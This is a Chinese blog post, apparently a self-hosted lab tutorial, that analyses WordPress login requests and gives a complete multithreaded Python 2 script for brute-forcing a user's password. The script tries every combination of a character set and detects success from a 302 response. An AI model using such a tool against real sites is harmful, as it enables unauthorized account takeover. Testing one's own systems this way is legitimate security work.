搭建了一个本地wordpress,写一个基于多线程异步I/O的暴力破解

1 测试

提交错误的表单数据时,查看请求参数

登录时发送的cookie

2 登录分析

经过多次测试,发现无论是输入正确的密码还是错误的密码,这些登录需要提交的参数是不会改变的。并且只要登录成功,服务器一定会返回包含sessionid的cookie。整理后的发送参数如下:

参数

log:用户名

pwd:密码

wp-submit:Log In(定值)

redirect_to:http://localhost/wordpress/wp-admin

test_cookie:1(定值)

Cookie

wordpress_test_cookie:WP Cookie check(定值)

3 思路分析

口令集:

暴力破解一般是使用口令字符的全部排列组合,所使用的口令集可使用itertool模块的笛卡尔积生成方法(product)来生成。当然这样计算开销比较大,适合口令长度比较小的情况。当然也可以使用字典,那么就可能需要结合用户信息定制字典。

数据结构:

使用队列来存储口令集是个很不错的选择,能够极大得降低数据读取的复杂性。

模拟登陆:

通过requests模块发送post请求,来模拟登陆,发送的参数与cookie依照上面的分析来发送即可。

登陆:

登陆失败,只是本地刷新,所以响应码200。登陆成功后,跳转到管理员后台,返回响应码302。

优化破解性能:

可使用异步I/O来进行破解过程的优化,待实现。

4 源码

# !/usr/bin/env python
# -*- coding:utf-8 -*-
import requests
import sys
import itertools
import Queue
import threading
import time class Bruter(object):
def __init__(self, user, characters, pwd_len, threads):
self.user = user
self.found = False # 存放破解结果,破解成功为True,失败为False
self.threads = threads
print '构建待测试口令队列中...'
self.pwd_queue = Queue.Queue()
for pwd in list(itertools.product(characters, repeat=pwd_len)):
self.pwd_queue.put(''.join(pwd))
self.result = None
print '构建成功!' def brute(self):
for i in range(self.threads):
t = threading.Thread(target=self.__web_bruter)
t.start()
print '破解线程-->%s 启动' % t.ident
while (not self.pwd_queue.empty()): # 剩余口令集判断
sys.stdout.write('\r 进度: 还剩余%s个口令 (每1s刷新)' % self.pwd_queue.qsize())
sys.stdout.flush()
time.sleep(1)
print '\n破解完毕' def __login(self, pwd):
url = 'http://localhost/wordpress/wp-login.php'
values = {'log': self.user, 'pwd': pwd, 'wp-submit': 'Log In',
'redirect_to': 'http://localhost/wordpress/wp-admin', 'test_cookie': '1'}
my_cookie = {'wordpress_test_cookie': 'WP Cookie check'}
r = requests.post(url, data=values, cookies=my_cookie, allow_redirects=False) # 禁用重定向,以便后边判断登陆状态
if r.status_code == 302: # 登陆状态判断
return True
return False def __web_bruter(self): # 破解子线程函数
while not self.pwd_queue.empty() and not self.found:
pwd_test = self.pwd_queue.get()
if self.__login(pwd_test):
self.found = True
self.result = pwd_test
print '破解 %s 成功,密码为: %s' % (self.user, pwd_test)
else:
self.found = False if __name__ == '__main__':
if len(sys.argv) != 5:
print '用法 : cmd [用户名] [密码字符] [密码长度] [线程数]'
exit(0)
b = Bruter(sys.argv[1], sys.argv[2], int(sys.argv[3]), int(sys.argv[4]))
b.brute()
print b.result

基于python的多线程暴破脚本的更多相关文章

  1. 基于Python的AT命令测试脚本

    对于各种有线&无线调制解调器(modem)产品来说,AT命令是事实上的标准接口之一,在工业界被广泛使用. 我开发了一套基于Python的AT命令测试脚本,源代码可在github上获取: htt ...

  2. 基于Python的多线程模块Threading小结

    步入正题前,先准备下基本知识,线程与进程的概念. 相信作为一个测试人员,如果从理论概念上来说其两者的概念或者区别,估计只会一脸蒙蔽,这里就举个例子来说明下其中的相关概念. 平安夜刚过,你是吃到了苹果还 ...

  3. 自制基于python的DoU log分析脚本

    工作中测试DoU的log需要分析,原先是使用excel,去ctrl c,ctrl v截取数据,整理格式等等.一来,这工作虽然很简单,但是非常耗时,不熟练的人(比如我)一搞搞个半天:二来,不小心还会出现 ...

  4. 基于Python的多线程与多进程

    1.I/O密集型与计算密集型 多进程适用于I/O密集型 多进程适用于计算密集型 2.没有sleep(T)的多个死循环只能用多进程 3.模块介绍: 1)threading模块(_thread模块已淘汰) ...

  5. 基于python的MD5脚本

    摘要 鉴于网上的各大MD5爆破网站,当网络差时访问速度慢,至此小弟写了个基于python的MD5爆破脚本,欢迎各位师傅在评论区留下您们宝贵的意见. 开发思路 1.通过 string模块 自动生成字典: ...

  6. 基于python深度学习的apk风险预测脚本

    基于python深度学习的apk风险预测脚本 为了有效判断安卓apk有无恶意操作,利用python脚本,通过解包apk文件,对其中xml文件进行特征提取,通过机器学习构建模型,预测位置的apk包是否有 ...

  7. 一行导出所有任意微软SQL server数据脚本-基于Python的微软官方mssql-scripter工具使用全讲解

    文章标题: 一行导出所有任意微软SQL serer数据脚本-基于Python的微软官方mssql-scripter工具使用全讲解 关键字 : mssql-scripter,SQL Server 文章分 ...

  8. 基于Python的Web应用开发实践总结

    基于Python的Web应用开发学习总结 项目地址   本次学习采用的是Flask框架.根据教程开发个人博客系统.博客界面如图所示. 整个学习过程收获很多,以下是学习总结. 1.virtualenv ...

  9. 基于python的opcode优化和模块按需加载机制研究(学习与个人思路)(原创)

    基于python的opcode优化和模块按需加载机制研究(学习与思考) 姓名:XXX 学校信息:XXX 主用编程语言:python3.5 个人技术博客:http://www.cnblogs.com/M ...

随机推荐

  1. WPF 自定义下拉列表

    XAML代码: <Popup x:Name="popupStrategy" StaysOpen="False" PopupAnimation=" ...

  2. Day 36 网络编程-计算机的发展

    手工操作 —— 穿孔卡片 批处理 —— 磁带存储和批处理系统 多道程序系统 分时系统 实时系统 通用操作系统 操作系统的进一步发展 操作系统的作用 手工操作 —— 穿孔卡片 1946年第一台计算机诞生 ...

  3. AGC002F Leftmost Ball

    题目传送门 Description \(n\)种颜色的球,每种\(k\)个,\((n,k\leq 2000)\)将\(n\cdot k\)个球排成一排,把每种颜色最左边的那个涂成白色(初始不含白色), ...

  4. arya-sites模块的主要类

      Site类,生成路由,    - 方法:url,get_urls, register, login,logout   - 字段:_registry = {}    Config,基础配置类,主要用 ...

  5. mariadb审计日志通过 logstash导入 hive

    我们使用的 mariadb, 用的这个审计工具 https://mariadb.com/kb/en/library/mariadb-audit-plugin/ 这个工具一点都不考虑后期对数据的处理, ...

  6. webpack快速入门——给webpack增加babel支持

    1.Babel的安装与配置 Babel其实是几个模块化的包,其核心功能位于称为babel-core的npm包中,webpack可以把其不同的包整合在一起使用,对于每一个 你需要的功能或拓展,你都需要安 ...

  7. 双向一对一映射@OneToOne

    双向一对一的实例我已经上传到GitHub,entrance项目上了,感兴趣的可以下载下来跑跑,这里讲两个在运行过程中遇到的问题. 问题一:上一篇博客的最后我留下了问题.一对一关联查询注解@OneToO ...

  8. innodb分配内存

    innodb分配内存有三种方法 1)使用OS的malloc 2)使用innodb自己实现的内存分配方法 3)使用goolge的Tmalloc innodb引擎分析之内存管理 在my.cn配置文件中可设 ...

  9. UIDevice currentDevice model possible values

    NOTE: The below code may not contain all device's string, I'm with other guys are maintaining the sa ...

  10. 剑指offer三十二之把数组排成最小的数

    一.题目 输入一个正整数数组,把数组里所有数字拼接起来排成一个数,打印能拼接出的所有数字中最小的一个.例如输入数组{3,32,321},则打印出这三个数字能排成的最小数字为321323. 二.思路 ( ...